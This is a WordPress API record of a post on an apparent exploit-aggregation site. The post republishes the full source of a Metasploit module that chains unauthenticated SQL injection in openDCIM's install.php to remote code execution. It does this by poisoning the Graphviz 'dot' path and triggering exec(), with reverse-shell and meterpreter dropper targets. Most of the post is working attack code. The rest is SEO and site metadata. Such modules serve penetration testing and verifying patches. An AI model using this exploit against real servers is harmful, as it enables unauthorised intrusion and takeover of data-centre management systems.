{"id":47294,"date":"2026-04-15T14:47:02","date_gmt":"2026-04-15T14:47:02","guid":{"rendered":"http:\/\/localhost\/?p=47294"},"modified":"2026-04-15T14:47:02","modified_gmt":"2026-04-15T14:47:02","slug":"opendcim-installphp-sql-injection-to-rce","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=47294","title":{"rendered":"openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:05&#8243;,&#8221;description&#8221;:&#8221;This module exploits a SQL injection vulnerability in openDCIM&#8217;s install.php endpoint CVE-2026-28515 to achieve remote code execution. The install.php script remains accessible after installation and processes LDAP configuration parameters via&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-15T19:02:17&#8243;,&#8221;modified&#8221;:&#8221;2026-04-15T19:02:17&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;openDCIM install.php SQL Injection to RCE&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-28515&#8243;,&#8221;CVE-2026-28516&#8243;,&#8221;CVE-2026-28517&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Msf::Exploit::Remote::HttpClient\\n  include Msf::Exploit::CmdStager\\n  prepend Msf::Exploit::Remote::AutoCheck\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;openDCIM install.php SQL Injection to RCE&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module exploits a SQL injection vulnerability in openDCIM&#8217;s install.php\\n          endpoint (CVE-2026-28515) to achieve remote code execution. The install.php\\n          script remains accessible after installation and processes LDAP configuration\\n          parameters via UpdateParameter() without authentication or input sanitization,\\n          allowing stacked SQL queries.\\n\\n          The exploit chain works by injecting SQL through the LDAP configuration form\\n          to overwrite the Graphviz dot binary path in fac_Config, then triggering\\n          report_network_map.php which calls exec() with the poisoned value. A backup\\n          of the original configuration is created before exploitation and restored\\n          after payload delivery.\\n\\n          Tested against openDCIM 23.04 through 25.01 on Ubuntu with Apache.\\n        },\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Valentin Lobstein \\u003cchocapikk[at]leakix.net\\u003e&#8217; # Discovery and Metasploit module\\n        ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;References&#8217; =\\u003e [\\n          [&#8216;CVE&#8217;, &#8216;2026-28515&#8217;],\\n          [&#8216;CVE&#8217;, &#8216;2026-28516&#8217;],\\n          [&#8216;CVE&#8217;, &#8216;2026-28517&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.vulncheck.com\/advisories\/opendcim-missing-authorization-in-install-php&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.vulncheck.com\/advisories\/opendcim-sql-injection-in-config-updateparameter&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/www.vulncheck.com\/advisories\/opendcim-os-command-injection-via-dot-configuration-parameter&#8217;],\\n          [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/Chocapikk\/opendcim-exploit&#8217;]\\n        ],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;Unix\/Linux Command Shell&#8217;, {\\n              &#8216;Platform&#8217; =\\u003e %w[unix linux],\\n              &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n              &#8216;Type&#8217; =\\u003e :cmd\\n              # tested with cmd\/unix\/reverse_bash\\n            }\\n          ],\\n          [\\n            &#8216;Linux Dropper&#8217;, {\\n              &#8216;Platform&#8217; =\\u003e &#8216;linux&#8217;,\\n              &#8216;Arch&#8217; =\\u003e [ARCH_X86, ARCH_X64],\\n              &#8216;CmdStagerFlavor&#8217; =\\u003e [&#8216;printf&#8217;, &#8216;bourne&#8217;],\\n              &#8216;Type&#8217; =\\u003e :dropper\\n              # tested with linux\/x64\/meterpreter\/reverse_tcp\\n            }\\n          ]\\n        ],\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Privileged&#8217; =\\u003e false,\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2026-02-28&#8217;,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\\n        }\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Base path to openDCIM&#8217;, &#8216;\/&#8217;])\\n    ])\\n  end\\n\\n  LDAP_FIELDS = %w[\\n    LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration\\n    LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess\\n    LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin\\n    LDAPContactAdmin LDAPSiteAdmin\\n  ].freeze\\n\\n  DOT_PARAM = &#8216;dot&#8217;.freeze\\n  SQLI_WRAP = [&#8216;\\&#8221; WHERE 1=0; &#8216;, &#8216; &#8212; &#8216;].freeze\\n\\n  def check\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e install_uri\\n    })\\n\\n    return CheckCode::Unknown(&#8216;Could not connect to the target.&#8217;) unless res\\n    return CheckCode::Safe(&#8216;install.php returned unexpected status code.&#8217;) unless [200, 302].include?(res.code)\\n\\n    body = res.body.to_s\\n    return CheckCode::Safe(&#8216;install.php does not appear to be openDCIM.&#8217;) if res.code == 200 \\u0026\\u0026 !body.include?(&#8216;ldapaction&#8217;) \\u0026\\u0026 !body.include?(&#8216;openDCIM&#8217;) \\u0026\\u0026 !body.include?(&#8216;Upgrade&#8217;)\\n\\n    print_status(&#8216;install.php is accessible, testing time-based SQL injection&#8217;)\\n    3.times do |i|\\n      sleep_time = rand(1..3)\\n      print_status(\\&#8221;Test #{i + 1}\/3: SLEEP(#{sleep_time})\\&#8221;)\\n      _, elapsed_time = Rex::Stopwatch.elapsed_time do\\n        send_request_cgi({\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;uri&#8217; =\\u003e install_uri,\\n          &#8216;vars_post&#8217; =\\u003e { &#8216;ldapaction&#8217; =\\u003e &#8216;Set&#8217;, LDAP_FIELDS.sample =\\u003e \\&#8221;#{SQLI_WRAP[0]}SELECT SLEEP(#{sleep_time});#{SQLI_WRAP[1]}\\&#8221; }\\n        })\\n      end\\n      print_status(\\&#8221;Elapsed time: #{elapsed_time.round(1)} seconds.\\&#8221;)\\n      return CheckCode::Safe(\\&#8221;SQL injection test #{i + 1} did not trigger a delay.\\&#8221;) unless elapsed_time \\u003e= sleep_time\\n    end\\n\\n    CheckCode::Vulnerable(&#8216;Successfully tested SQL injection (3\/3 delay checks passed).&#8217;)\\n  end\\n\\n  def exploit\\n    @backup_table = Rex::Text.rand_text_alpha(8).downcase\\n\\n    print_status(&#8216;Performing LORI attack (LDAP Override Remote Injection)&#8217;)\\n    fail_with(Failure::UnexpectedReply, &#8216;Backup failed.&#8217;) unless backup_config\\n\\n    case target[&#8216;Type&#8217;]\\n    when :cmd\\n      fail_with(Failure::UnexpectedReply, &#8216;SQL injection failed.&#8217;) unless poison_dot(\\&#8221;#{payload.encoded} #\\&#8221;)\\n      trigger_exec\\n    when :dropper\\n      execute_cmdstager\\n    end\\n  ensure\\n    cleanup_config\\n  end\\n\\n  def execute_command(cmd, _opts = {})\\n    fail_with(Failure::UnexpectedReply, &#8216;SQL injection failed.&#8217;) unless poison_dot(\\&#8221;#{cmd} #\\&#8221;)\\n    trigger_exec\\n  end\\n\\n  def trigger_exec\\n    print_status(&#8216;Triggering exec() via report_network_map.php&#8217;)\\n    trigger_dot\\n  end\\n\\n  def cleanup_config\\n    return unless @backup_table\\n\\n    print_status(&#8216;Restoring original configuration&#8217;)\\n    restored = restore_config\\n    print_good(&#8216;Configuration restored successfully.&#8217;) if restored\\n    print_warning(&#8216;Failed to restore configuration. Manual cleanup may be needed.&#8217;) unless restored\\n  end\\n\\n  def install_uri\\n    normalize_uri(target_uri.path, &#8216;install.php&#8217;)\\n  end\\n\\n  def inject_sql(field, sql)\\n    form = { &#8216;ldapaction&#8217; =\\u003e &#8216;Set&#8217; }\\n    LDAP_FIELDS.each { |f| form[f] = &#8221; }\\n    form[field] = \\&#8221;#{SQLI_WRAP[0]}#{sql}#{SQLI_WRAP[1]}\\&#8221;\\n\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;uri&#8217; =\\u003e install_uri,\\n      &#8216;vars_post&#8217; =\\u003e form\\n    })\\n\\n    res \\u0026\\u0026 [200, 302].include?(res.code)\\n  end\\n\\n  def backup_config\\n    inject_sql(&#8216;LDAPServer&#8217;,\\n               \\&#8221;DROP TABLE IF EXISTS #{@backup_table};\\&#8221; \\\\\\n               \\&#8221; CREATE TABLE #{@backup_table} AS SELECT Parameter, Value FROM fac_Config\\&#8221; \\\\\\n               \\&#8221; WHERE Parameter LIKE \\\\\\&#8221;LDAP%%\\\\\\&#8221; OR Parameter = \\\\\\&#8221;#{DOT_PARAM}\\\\\\&#8221;;\\&#8221;)\\n  end\\n\\n  def poison_dot(dot_value)\\n    escaped = dot_value.gsub(&#8216;\\\\\\\\&#8217;) { &#8216;\\\\\\\\\\\\\\\\&#8217; }\\n    inject_sql(&#8216;LDAPBaseDN&#8217;,\\n               \\&#8221;UPDATE fac_Config SET Value = \\\\\\&#8221;#{escaped}\\\\\\&#8221; WHERE Parameter = \\\\\\&#8221;#{DOT_PARAM}\\\\\\&#8221;;\\&#8221;)\\n  end\\n\\n  def restore_config\\n    inject_sql(&#8216;LDAPSiteAdmin&#8217;,\\n               \\&#8221;UPDATE fac_Config c INNER JOIN #{@backup_table} b ON c.Parameter = b.Parameter SET c.Value = b.Value;\\&#8221; \\\\\\n               \\&#8221; DROP TABLE IF EXISTS #{@backup_table};\\&#8221;)\\n  end\\n\\n  def trigger_dot\\n    res = send_request_cgi({\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;report_network_map.php&#8217;),\\n      &#8216;vars_get&#8217; =\\u003e { &#8216;format&#8217; =\\u003e &#8216;0&#8217;, &#8216;containerid&#8217; =\\u003e &#8216;1&#8217; }\\n    })\\n\\n    res\\u0026.body\\u0026.strip\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/linux\/http\/opendcim_install_sqli_rce.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/linux\/http\/opendcim_install_sqli_rce\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:05&#8243;,&#8221;description&#8221;:&#8221;This module exploits a SQL injection vulnerability in openDCIM&#8217;s install.php endpoint CVE-2026-28515 to achieve remote code execution. The install.php script remains accessible after installation and&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,169,13,7,11,5],"class_list":["post-47294","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=47294\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:05&#8243;,&#8221;description&#8221;:&#8221;This module exploits a SQL injection vulnerability in openDCIM&#8217;s install.php endpoint CVE-2026-28515 to achieve remote code execution. The install.php script remains accessible after installation and...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=47294\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-15T14:47:02+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47294#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47294\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE-\",\"datePublished\":\"2026-04-15T14:47:02+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47294\"},\"wordCount\":1224,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=47294#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47294\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47294\",\"name\":\"openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-15T14:47:02+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47294#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=47294\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=47294#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=47294","og_locale":"en_US","og_type":"article","og_title":"openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-15T19:28:05&#8243;,&#8221;description&#8221;:&#8221;This module exploits a SQL injection vulnerability in openDCIM&#8217;s install.php endpoint CVE-2026-28515 to achieve remote code execution. The install.php script remains accessible after installation and...","og_url":"https:\/\/zero.redgem.net\/?p=47294","og_site_name":"zero redgem","article_published_time":"2026-04-15T14:47:02+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=47294#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=47294"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE-","datePublished":"2026-04-15T14:47:02+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=47294"},"wordCount":1224,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=47294#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=47294","url":"https:\/\/zero.redgem.net\/?p=47294","name":"openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-15T14:47:02+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=47294#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=47294"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=47294#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/47294","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=47294"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/47294\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=47294"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=47294"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=47294"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}